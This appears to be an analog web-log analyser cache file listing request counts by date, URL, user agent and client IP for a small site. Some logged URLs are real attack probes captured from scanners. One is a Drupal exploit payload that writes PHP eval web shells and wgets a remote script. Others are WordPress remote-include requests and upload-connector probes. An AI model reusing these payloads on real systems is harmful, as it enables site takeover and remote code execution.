CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	174	174	1	139	98434
D	25863799	26241071
17960	279	1	1	623
17960	281	1	1	623
17961	131	1	1	623
17961	141	1	1	623
17967	188	1	1	623
17968	179	1	1	623
17970	209	1	1	623
17970	233	1	1	623
17971	83	1	1	623
17975	97	1	1	623
17976	21	1	1	623
17978	247	1	1	623
17979	156	1	1	623
17981	168	1	1	623
17982	71	1	1	623
17985	205	1	1	623
17991	74	1	1	623
17991	81	1	1	623
17992	47	1	1	623
17993	62	1	1	623
17996	161	1	1	623
18003	103	1	1	623
18009	107	1	1	623
18009	220	1	1	623
18009	260	1	1	623
18017	232	1	1	623
18017	266	2	2	1246
18017	285	2	2	1246
18018	1	2	2	1246
18018	2	2	2	1246
18018	73	2	2	1246
18019	36	1	1	623
18019	210	1	1	623
18022	286	1	1	623
18023	118	1	1	623
18023	208	1	1	623
18023	219	1	1	623
18023	273	1	1	623
18024	161	1	1	623
18025	40	1	1	623
18025	186	1	1	623
18025	204	1	1	623
18026	163	1	1	623
18026	194	1	1	623
18026	279	1	1	623
18027	188	1	1	623
18027	269	1	1	623
18031	157	1	1	623
18031	257	1	1	623
18031	271	1	1	623
18032	4	1	1	623
18032	11	1	1	623
18032	102	1	1	623
18032	265	1	1	623
18034	24	1	1	623
18034	264	1	1	623
18035	55	1	1	623
18035	170	1	1	623
18036	89	1	1	623
18040	216	1	1	623
18041	28	1	1	623
18042	12	1	1	623
18042	170	1	1	623
18043	270	1	1	623
18045	104	1	1	623
18047	171	1	1	623
18047	213	1	1	623
18048	119	1	1	623
18049	228	1	1	623
18051	115	1	1	623
18054	94	1	1	623
18054	101	1	1	623
18054	108	1	1	623
18056	224	1	1	623
18056	245	1	1	623
18060	118	1	1	623
18062	92	1	1	623
18066	274	1	1	623
18068	169	1	1	623
18072	132	1	1	623
18075	27	1	1	623
18078	107	1	1	623
18081	95	1	1	623
18081	171	1	1	623
18081	173	1	1	623
18082	10	1	1	623
18082	127	1	1	623
18082	150	1	1	623
18083	258	1	1	623
18087	260	1	1	623
18090	20	1	1	623
18093	188	1	1	623
18093	271	2	2	1246
18093	275	2	2	1246
18096	2	1	1	623
18096	269	1	1	623
18097	215	1	1	623
18097	244	1	1	623
18100	9	1	1	623
18101	104	2	2	1246
18103	135	1	1	623
18105	187	1	1	623
18109	52	1	1	623
18112	27	1	1	623
18113	156	1	1	623
18115	42	1	1	623
18115	43	1	1	623
18115	52	1	1	623
18115	127	1	1	623
18119	128	1	1	623
18121	150	1	1	623
18125	75	1	1	623
18127	102	1	1	623
18128	38	1	1	0
18129	262	1	1	0
18130	257	1	1	623
18132	133	1	1	623
18136	169	1	1	623
18137	205	1	1	623
18142	11	1	1	623
18143	77	1	1	623
18144	212	1	1	623
18144	213	1	1	623
18145	61	1	1	623
18145	67	1	1	623
18147	161	1	1	0
18148	64	1	1	0
18148	124	1	1	623
18149	62	1	1	623
18152	82	1	1	0
18155	102	1	1	623
18155	107	1	1	0
18167	50	1	1	0
18168	130	1	1	623
18170	173	1	1	0
18170	227	1	1	623
18174	160	1	1	623
18175	234	1	1	623
18176	102	1	1	623
18178	76	1	1	623
18178	88	1	1	623
18178	259	1	1	623
18178	272	1	1	623
18179	269	1	1	0
18182	21	1	1	0
18182	49	1	1	623
18182	243	1	1	623
18188	232	1	1	623
18190	259	1	1	623
18194	189	1	1	0
18196	89	1	1	623
18196	277	1	1	623
18198	193	1	1	0
18201	178	1	1	623
18203	73	1	1	623
18204	221	1	1	623
18204	233	1	1	623
18207	123	1	1	623
18209	39	1	1	0
18209	226	1	1	623
18210	202	1	1	0
18216	21	1	1	623
18221	232	1	1	623
18222	44	1	1	0
18222	105	1	1	0
18222	278	1	1	623
1	1	1	0	0	25972285	0	0	25972285	0	0	623	/?C=D;O=D
1	2	2	0	0	25958838	0	0	25953113	0	0	1246	/?C=D;O=A
1	1	1	0	0	25924835	0	0	25924835	0	0	623	/?209.17.97.106
1	4	4	0	0	25965425	0	0	25934060	0	0	2492	/?54.36.148.0
1	4	4	0	0	25910230	0	0	25873421	0	0	2492	/?174.138.53.167
1	0	0	0	3	0	0	25959820	0	0	25953113	0	/robots.txt?54.36.148.79
1	3	3	0	0	25890540	0	0	25885546	0	0	1869	/?192.99.0.107
1	112	112	0	14	26241071	0	26055295	25863799	0	25945811	66661	/
1	0	0	0	2	0	0	26001865	0	0	25878659	0	/admin/login.php
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.viamarkt.hu/readme.txt&wpaa=phpinfo();exit();
1	2	2	0	0	25978683	0	0	25966593	0	0	1246	/?C=S;O=D
1	2	2	0	0	25970283	0	0	25958258	0	0	1246	/?C=S;O=A
1	0	0	0	12	0	0	26236744	0	0	25954243	0	/cgi-bin/
1	2	2	0	0	25953714	0	0	25947541	0	0	1246	/?54.36.148.79
1	1	1	0	0	25864496	0	0	25864496	0	0	623	/?134.209.34.57
1	2	2	0	0	25970675	0	0	25966138	0	0	1246	/?C=M;O=D
1	0	0	0	4	0	0	25980357	0	0	25975797	0	/favicon.ico
1	0	0	0	19	0	0	26182326	0	0	25926171	0	/robots.txt
1	5	5	0	0	25915046	0	0	25874817	0	0	3115	/?68.183.60.176
1	2	2	0	0	25958411	0	0	25955365	0	0	1246	/?C=M;O=A
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo+'Vuln!!+patch+it+Now!'+>+vuln.htm%3B+echo+'Vuln!!<%3Fphp+@eval($_POST['pass'])+%3F>'>+sites/default/files/vuln.php%3B+echo+'Vuln!!<%3Fphp+@eval($_POST['pass'])+%3F>'>+vuln.php%3B+cd+sites/default/files/%3B+echo+'AddType+application/x-httpd-php+.jpg'+>+.htaccess%3B+wget+'http://40k.waszmann.de/Deutsch/images/up.php'
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/administrator/webconfig.txt.php
1	0	0	0	58	0	0	26241071	0	0	25978683	0	/robots.txt?54.36.148.170
1	0	0	0	4	0	0	25988536	0	0	25973648	0	/favicon.ico?54.36.148.170
1	0	0	0	2	0	0	25949072	0	0	25949072	0	/dasdasd
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/user/register/?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax
1	27	27	1	0	26223411	26089628	0	25971250	26089628	0	9968	/?54.36.148.170
1	0	0	0	2	0	0	26001865	0	0	25878659	0	/fckeditor/editor/filemanager/connectors/php/upload.php?Type=Media
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.acne-school.ru//sites/all/modules/webform/tests/subform.txt&wpaa=phpinfo();exit();
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.tekmat.net/wp-content/uploads/2014/04/jpg.txt&wpaa=phpinfo();
1	0	0	0	2	0	0	26126495	0	0	25985512	0	/cgi-bin/?54.36.148.170
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/webconfig.txt.php?174.138.53.167
1	0	0	0	3	0	0	25958258	0	0	25933499	0	/robots.txt?54.36.148.0
1	0	0	0	1	0	0	25970003	0	0	25970003	0	/favicon.ico?54.36.148.0
1	0	0	0	2	0	0	26001865	0	0	25878659	0	/templates/system/css/system.css
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/webconfig.txt.php
1	2	2	0	0	25959820	0	0	25956934	0	0	1246	/?C=N;O=D
1	2	2	0	0	25967408	0	0	25965999	0	0	1246	/?C=N;O=A
1	0	0	0	1	0	0	25926043	0	0	25926043	0	/robots.txt?209.17.97.106
1	0	0	0	2	0	0	26001865	0	0	25878659	0	/admin/images/cal_date_over.gif
3	0	0	0	8	0	0	25907325	0	0	25907325	0	http://www.google.com.hk/
4	2	2	0	0	25946289	0	0	25945925	0	0	1246	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
4	1	1	0	1	26055279	0	25946289	26055279	0	25946289	623	Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1
4	0	0	0	1	0	0	25949072	0	0	25949072	0	Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_8_5) AppleWebKit/5310 (KHTML, like Gecko) Chrome/13.0.809.0 Safari/5310
4	0	0	0	1	0	0	25988536	0	0	25988536	0	Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
4	0	0	0	2	0	0	25980130	0	0	25976262	0	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
4	0	0	0	1	0	0	25949072	0	0	25949072	0	Mozilla/5.0 (Windows NT 6.0) AppleWebKit/5310 (KHTML, like Gecko) Chrome/13.0.878.0 Safari/5310
4	26	26	0	0	26214929	0	0	25863799	0	0	16198	Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)
4	0	0	0	1	0	0	25975632	0	0	25975632	0	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
4	1	1	0	1	26055295	0	25945909	26055295	0	25945909	623	Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
4	2	2	0	8	26001865	0	26001865	25878659	0	25878659	1246	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
4	1	1	0	1	26055295	0	25945934	26055295	0	25945934	623	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
4	88	88	0	98	26241071	0	26241071	25933499	0	25926043	54824	Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)
4	0	0	0	8	0	0	25907325	0	0	25907325	0	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
4	0	0	0	3	0	0	25980357	0	0	25970003	0	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
4	1	1	0	1	25945934	0	25945909	25945934	0	25945909	623	Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SCH-I535 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
4	0	0	0	4	0	0	26055279	0	0	25945811	0	Wget/1.13.4 (linux-gnu)
4	25	25	1	0	26086237	26089628	0	25873421	26089628	0	15575	Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)
4	0	0	0	1	0	0	25946289	0	0	25946289	0	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299
4	2	2	0	0	25945909	0	0	25945811	0	0	1246	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6
4	3	3	0	0	25945934	0	0	25945811	0	0	1869	Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
4	2	2	0	0	26058250	0	0	25947541	0	0	1246	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
4	1	1	0	2	25988536	0	25976486	25988536	0	25973648	623	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
4	16	16	0	0	26240209	0	0	26104513	0	0	0	Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
4	1	1	0	3	26055279	0	26055295	26055279	0	25945811	623	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
4	2	2	0	2	25946289	0	26055295	25945925	0	25945925	1246	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0
5	1	1	0	0	26241071	0	0	26241071	0	0	623	54.36.148.164
5	1	1	0	0	26009741	0	0	26009741	0	0	623	54.36.148.163
5	1	1	0	0	26116689	0	0	26116689	0	0	623	54.36.148.161
5	0	0	0	1	0	0	25958258	0	0	25958258	0	54.36.148.158
5	0	0	0	1	0	0	25976262	0	0	25976262	0	27.224.137.81
5	1	1	0	0	26143714	0	0	26143714	0	0	623	54.36.148.157
5	1	1	0	0	26177683	0	0	26177683	0	0	623	142.93.79.35
5	0	0	0	1	0	0	26108489	0	0	26108489	0	54.36.148.156
5	0	0	0	1	0	0	26064049	0	0	26064049	0	54.36.148.154
5	1	1	0	0	26083504	0	0	26083504	0	0	623	54.36.148.153
5	1	1	0	0	26037499	0	0	26037499	0	0	623	159.65.44.60
5	1	1	0	2	26210334	0	25972285	26210334	0	25970283	623	54.36.148.151
5	1	1	0	0	25965999	0	0	25965999	0	0	623	54.36.148.149
5	0	0	0	1	0	0	26241071	0	0	26241071	0	54.36.148.145
5	1	1	0	0	26094992	0	0	26094992	0	0	623	54.36.148.144
5	1	1	0	0	26214929	0	0	26214929	0	0	623	159.203.166.6
5	1	1	0	0	26124537	0	0	26124537	0	0	623	54.36.148.138
5	1	1	0	0	25998302	0	0	25998302	0	0	623	68.183.147.157
5	1	1	0	0	26103390	0	0	26103390	0	0	623	54.36.148.136
5	1	1	0	0	26081416	0	0	26081416	0	0	623	54.36.148.134
5	1	1	0	1	25980541	0	25994016	25980541	0	25994016	623	54.36.148.132
5	0	0	0	1	0	0	25926171	0	0	25926171	0	54.36.148.131
5	0	0	0	1	0	0	26018767	0	0	26018767	0	54.36.148.130
5	1	1	0	0	25954215	0	0	25954215	0	0	623	68.183.54.158
5	1	1	0	0	25907410	0	0	25907410	0	0	623	159.89.181.6
5	1	1	0	0	26037118	0	0	26037118	0	0	623	54.36.148.123
5	0	0	0	1	0	0	26178761	0	0	26178761	0	54.36.148.121
5	1	1	0	0	25956934	0	0	25956934	0	0	623	54.36.148.120
5	2	2	0	0	26202686	0	0	25933499	0	0	1246	54.36.148.119
5	0	0	0	1	0	0	26212686	0	0	26212686	0	54.36.148.118
5	1	1	0	0	25988536	0	0	25988536	0	0	623	171.36.131.117
5	1	1	0	0	25953714	0	0	25953714	0	0	623	54.36.148.98
5	1	1	0	1	26203629	0	26100379	26203629	0	26100379	623	54.36.148.96
5	1	1	0	0	25863799	0	0	25863799	0	0	623	134.209.34.57
5	1	1	0	0	26176703	0	0	26176703	0	0	623	157.245.124.23
5	0	0	0	2	0	0	25949072	0	0	25949072	0	5.8.10.202
5	1	1	0	0	26016410	0	0	26016410	0	0	623	54.36.148.92
5	0	0	0	1	0	0	25988749	0	0	25988749	0	54.36.148.110
5	0	0	0	1	0	0	25967902	0	0	25967902	0	54.36.148.90
5	0	0	0	1	0	0	25983272	0	0	25983272	0	54.36.148.104
5	1	1	0	0	25907445	0	0	25907445	0	0	623	159.89.35.30
5	0	0	0	1	0	0	26094992	0	0	26094992	0	54.36.148.102
5	1	1	0	0	25967408	0	0	25967408	0	0	623	54.36.148.83
5	1	1	0	0	26064049	0	0	26064049	0	0	623	54.36.148.101
5	1	1	0	0	26128426	0	0	26128426	0	0	623	167.71.100.109
5	0	0	0	1	0	0	25984299	0	0	25984299	0	54.36.148.100
5	1	1	0	1	25934261	0	26081416	25934261	0	26081416	623	54.36.148.79
5	1	1	0	0	26085862	0	0	26085862	0	0	623	167.71.94.48
5	0	0	0	1	0	0	26124537	0	0	26124537	0	54.36.148.78
5	0	0	0	2	0	0	26187645	0	0	26092001	0	54.36.148.77
5	1	1	0	0	25972285	0	0	25972285	0	0	623	54.36.148.74
5	0	0	0	2	0	0	26210334	0	0	26173171	0	54.36.148.73
5	16	16	0	0	26240209	0	0	26104513	0	0	0	138.246.253.5
5	1	1	0	0	25971250	0	0	25971250	0	0	623	54.36.148.61
5	1	1	0	0	25864546	0	0	25864546	0	0	623	68.183.158.5
5	0	0	0	2	0	0	26133743	0	0	26028136	0	54.36.148.58
5	1	1	0	0	26218695	0	0	26218695	0	0	623	54.36.150.98
5	1	1	0	0	26024342	0	0	26024342	0	0	623	54.36.150.180
5	1	1	0	0	26133743	0	0	26133743	0	0	623	54.36.150.179
5	0	0	0	1	0	0	26049704	0	0	26049704	0	54.36.149.97
5	0	0	0	1	0	0	26165937	0	0	26165937	0	54.36.149.96
5	1	1	0	1	26182326	0	26021387	26182326	0	26021387	623	54.36.149.95
5	2	2	0	0	26134873	0	0	26038130	0	0	1246	54.36.150.175
5	0	0	0	2	0	0	26236744	0	0	26178761	0	54.36.149.94
5	0	0	0	1	0	0	26110745	0	0	26110745	0	54.36.149.93
5	1	1	0	0	26231147	0	0	26231147	0	0	623	54.36.150.93
5	0	0	0	1	0	0	26103390	0	0	26103390	0	54.36.149.92
5	0	0	0	1	0	0	26173953	0	0	26173953	0	54.36.149.91
5	1	1	0	0	25985323	0	0	25985323	0	0	623	54.36.150.172
5	0	0	0	1	0	0	26182326	0	0	26182326	0	54.36.149.89
5	1	1	0	0	25991704	0	0	25991704	0	0	623	54.36.150.170
5	1	1	0	0	26126307	0	0	26126307	0	0	623	54.36.150.168
5	0	0	0	1	0	0	25956203	0	0	25956203	0	54.36.149.86
5	1	1	0	0	26108489	0	0	26108489	0	0	623	54.36.150.86
5	1	1	0	0	26129139	0	0	26129139	0	0	623	157.245.1.5
5	1	1	0	0	26165937	0	0	26165937	0	0	623	54.36.150.85
5	0	0	0	1	0	0	26126495	0	0	26126495	0	54.36.149.85
5	0	0	0	1	0	0	26218695	0	0	26218695	0	54.36.148.41
5	1	1	0	0	26046584	0	0	26046584	0	0	623	54.36.150.165
5	1	1	0	4	26001865	0	26001865	26001865	0	26001865	623	46.105.99.163
5	4	4	0	4	26055295	0	26055295	25945934	0	25945934	2492	93.119.227.91
5	1	1	0	0	26100379	0	0	26100379	0	0	623	54.36.150.84
5	2	2	0	2	25945909	0	25945909	25945909	0	25945909	1246	69.4.89.106
5	0	0	0	2	0	0	26231147	0	0	25959820	0	54.36.149.83
5	0	0	0	1	0	0	26059587	0	0	26059587	0	54.36.148.39
5	1	1	0	0	25983272	0	0	25983272	0	0	623	54.36.149.82
5	0	0	0	1	0	0	25965927	0	0	25965927	0	54.36.148.37
5	1	1	0	0	26162572	0	0	26162572	0	0	623	54.36.148.36
5	1	1	0	0	26077224	0	0	26077224	0	0	623	54.36.149.79
5	0	0	0	1	0	0	25975632	0	0	25975632	0	58.19.92.239
5	1	1	0	0	26032859	0	0	26032859	0	0	623	54.36.150.78
5	0	0	0	1	0	0	25975797	0	0	25975797	0	182.200.179.161
5	0	0	0	1	0	0	26037118	0	0	26037118	0	54.36.148.34
5	0	0	1	0	0	26089628	0	0	26089628	0	0	209.17.96.66
5	1	1	0	0	25979182	0	0	25979182	0	0	623	54.36.149.4
5	0	0	0	1	0	0	25980541	0	0	25980541	0	54.36.148.32
5	0	0	0	1	0	0	26187645	0	0	26187645	0	54.36.149.3
5	0	0	0	1	0	0	26171361	0	0	26171361	0	54.36.149.74
5	1	1	0	0	26212686	0	0	26212686	0	0	623	54.36.150.73
5	1	1	0	0	26001760	0	0	26001760	0	0	623	54.36.150.154
5	0	0	0	1	0	0	25933499	0	0	25933499	0	54.36.149.73
5	0	0	0	1	0	0	26006994	0	0	26006994	0	54.36.149.72
5	1	1	0	0	25989716	0	0	25989716	0	0	623	54.36.149.0
5	0	0	0	2	0	0	26143714	0	0	26031587	0	54.36.148.27
5	1	1	0	0	25956203	0	0	25956203	0	0	623	54.36.149.71
5	2	2	0	0	26222093	0	0	26085818	0	0	1246	54.36.150.149
5	1	1	0	4	25878659	0	25878659	25878659	0	25878659	623	192.99.0.107
5	1	1	0	0	26191880	0	0	26191880	0	0	623	54.36.150.67
5	0	0	0	2	0	0	26183298	0	0	25998269	0	54.36.148.24
5	0	0	0	1	0	0	26227681	0	0	26227681	0	54.36.148.23
5	1	1	0	0	25893483	0	0	25893483	0	0	623	209.17.97.98
5	0	0	0	1	0	0	25976486	0	0	25976486	0	182.138.215.221
5	1	1	0	0	26129106	0	0	26129106	0	0	623	167.71.89.189
5	1	1	0	0	26176760	0	0	26176760	0	0	623	157.245.208.222
5	1	1	0	0	26028136	0	0	26028136	0	0	623	54.36.150.62
5	0	0	0	1	0	0	25934261	0	0	25934261	0	54.36.150.142
5	1	1	0	0	25910230	0	0	25910230	0	0	623	209.17.96.50
5	0	0	0	1	0	0	25973648	0	0	25973648	0	1.27.51.250
5	0	0	0	2	0	0	26046584	0	0	25989716	0	54.36.149.59
5	1	1	0	0	26194897	0	0	26194897	0	0	623	54.36.150.139
5	1	1	0	0	26054862	0	0	26054862	0	0	623	54.36.150.138
5	1	1	0	0	25953113	0	0	25953113	0	0	623	54.36.148.14
5	0	0	0	1	0	0	25980130	0	0	25980130	0	123.191.128.224
5	0	0	0	1	0	0	26075877	0	0	26075877	0	54.36.149.55
5	0	0	0	1	0	0	26085818	0	0	26085818	0	54.36.148.11
5	0	0	0	1	0	0	26024342	0	0	26024342	0	54.36.149.54
5	1	1	0	0	26110745	0	0	26110745	0	0	623	54.36.148.10
5	2	2	0	0	25915046	0	0	25899425	0	0	1246	209.17.97.82
5	1	1	0	0	26183298	0	0	26183298	0	0	623	54.36.149.47
5	0	0	0	1	0	0	26236744	0	0	26236744	0	54.36.149.46
5	1	1	0	0	26060757	0	0	26060757	0	0	623	54.36.150.126
5	0	0	0	1	0	0	25980357	0	0	25980357	0	112.66.105.253
5	1	1	0	0	26239402	0	0	26239402	0	0	623	54.36.150.124
5	1	1	0	0	26173171	0	0	26173171	0	0	623	54.36.150.42
5	4	4	0	4	26055279	0	26055279	25945925	0	25945925	2492	69.4.87.74
5	1	1	0	0	26049704	0	0	26049704	0	0	623	54.36.150.40
5	1	1	0	0	26059587	0	0	26059587	0	0	623	54.36.150.38
5	1	1	0	0	25960225	0	0	25960225	0	0	623	209.17.97.122
5	1	1	0	0	25958411	0	0	25958411	0	0	623	54.36.149.34
5	1	1	0	0	25863807	0	0	25863807	0	0	623	174.138.53.167
5	1	1	0	0	26072139	0	0	26072139	0	0	623	54.36.149.31
5	1	1	0	1	25978683	0	25970675	25978683	0	25970675	623	54.36.149.28
5	2	2	0	2	25945811	0	25945811	25945811	0	25945811	1246	93.119.227.34
5	0	0	0	1	0	0	26116689	0	0	26116689	0	54.36.149.27
5	1	1	0	0	25998269	0	0	25998269	0	0	623	54.36.150.27
5	1	1	0	0	26058250	0	0	26058250	0	0	623	195.154.61.206
5	0	0	0	1	0	0	26040814	0	0	26040814	0	54.36.149.106
5	1	1	0	0	26085814	0	0	26085814	0	0	623	167.71.109.106
5	0	0	0	1	0	0	26073999	0	0	26073999	0	54.36.149.25
5	1	1	0	0	25958258	0	0	25958258	0	0	623	54.36.149.24
5	1	1	0	0	26214869	0	0	26214869	0	0	623	167.71.167.189
5	0	0	0	2	0	0	26222093	0	0	26202686	0	54.36.149.104
5	1	1	0	0	26068995	0	0	26068995	0	0	623	54.36.150.104
5	0	0	0	1	0	0	25955365	0	0	25955365	0	54.36.149.23
5	1	1	0	0	26177615	0	0	26177615	0	0	623	45.55.45.196
5	1	1	0	0	25890540	0	0	25890540	0	0	623	209.17.96.10
5	1	1	0	1	26118306	0	26126307	26118306	0	26126307	623	54.36.149.21
5	0	0	0	1	0	0	26031587	0	0	26031587	0	54.36.150.21
5	0	0	0	1	0	0	25953113	0	0	25953113	0	54.36.149.101
5	5	5	0	0	25965425	0	0	25874817	0	0	3115	209.17.97.106
5	1	1	0	0	25981334	0	0	25981334	0	0	623	54.36.149.18
5	0	0	0	1	0	0	25970003	0	0	25970003	0	110.167.90.43
5	1	1	0	0	26171361	0	0	26171361	0	0	623	54.36.150.17
5	1	1	0	0	25966593	0	0	25966593	0	0	623	54.36.149.14
5	0	0	0	1	0	0	25967902	0	0	25967902	0	54.36.149.13
5	2	2	0	2	25946289	0	25946289	25946289	0	25946289	1246	93.119.227.19
5	2	2	0	0	25908717	0	0	25873421	0	0	1246	209.17.97.42
5	0	0	0	1	0	0	26054862	0	0	26054862	0	54.36.149.10
5	1	1	0	0	25998232	0	0	25998232	0	0	623	159.203.109.224
5	0	0	0	8	0	0	25907325	0	0	25907325	0	192.99.35.149
5	2	2	0	0	25954489	0	0	25889556	0	0	1246	209.17.97.34
5	3	3	0	0	26065961	0	0	25948412	0	0	1869	209.17.97.26
5	1	1	0	0	26128421	0	0	26128421	0	0	623	167.71.249.190
5	1	1	0	0	25970675	0	0	25970675	0	0	623	54.36.148.5
5	1	1	0	0	26086237	0	0	26086237	0	0	623	209.17.97.18
5	1	1	0	0	26038830	0	0	26038830	0	0	623	167.71.186.248
5	1	1	0	1	25959820	0	26009741	25959820	0	26009741	623	54.36.148.254
5	0	0	0	1	0	0	26162572	0	0	26162572	0	54.36.148.253
5	0	0	0	1	0	0	26073999	0	0	26073999	0	54.36.148.1
5	1	1	0	0	26006994	0	0	26006994	0	0	623	54.36.148.251
5	0	0	0	1	0	0	25926043	0	0	25926043	0	54.36.148.0
5	0	0	0	1	0	0	26227681	0	0	26227681	0	54.36.148.250
5	1	1	0	1	26092001	0	25978683	26092001	0	25978683	623	54.36.148.249
5	1	1	0	0	26173953	0	0	26173953	0	0	623	54.36.148.248
5	1	1	0	0	25966101	0	0	25966101	0	0	623	54.36.148.246
5	0	0	0	1	0	0	26075877	0	0	26075877	0	54.36.148.243
5	1	1	0	0	26038716	0	0	26038716	0	0	623	167.71.162.177
5	0	0	0	1	0	0	26068995	0	0	26068995	0	54.36.148.240
5	1	1	0	0	25957022	0	0	25957022	0	0	623	54.36.148.238
5	1	1	0	0	25945643	0	0	25945643	0	0	623	209.17.96.242
5	0	0	0	1	0	0	26194896	0	0	26194896	0	54.36.148.235
5	1	1	0	1	25969080	0	26016410	25969080	0	26016410	623	54.36.148.232
5	1	1	0	0	25988749	0	0	25988749	0	0	623	54.36.148.231
5	0	0	0	1	0	0	25985512	0	0	25985512	0	54.36.148.230
5	1	1	0	0	25884485	0	0	25884485	0	0	623	209.17.96.234
5	0	0	0	1	0	0	26129051	0	0	26129051	0	54.36.148.227
5	1	1	0	0	25947541	0	0	25947541	0	0	623	62.4.14.206
5	0	0	0	1	0	0	26021387	0	0	26021387	0	54.36.148.225
5	1	1	0	0	25954163	0	0	25954163	0	0	623	142.93.65.204
5	3	3	0	0	26060903	0	0	25924835	0	0	1869	209.17.96.226
5	1	1	0	0	25994016	0	0	25994016	0	0	623	54.36.148.219
5	0	0	0	2	0	0	26118306	0	0	25958411	0	54.36.148.217
5	0	0	0	2	0	0	26203629	0	0	25984299	0	54.36.148.215
5	0	0	0	1	0	0	25991704	0	0	25991704	0	54.36.148.214
5	1	1	0	0	25877846	0	0	25877846	0	0	623	209.17.97.2
5	1	1	0	0	25965927	0	0	25965927	0	0	623	54.36.148.209
5	0	0	0	1	0	0	25966101	0	0	25966101	0	54.36.148.206
5	1	1	0	1	25958838	0	26072139	25958838	0	26072139	623	54.36.148.195
5	0	0	0	2	0	0	26129051	0	0	25954243	0	54.36.148.193
5	1	1	0	1	25966138	0	26239402	25966138	0	26239402	623	54.36.148.201
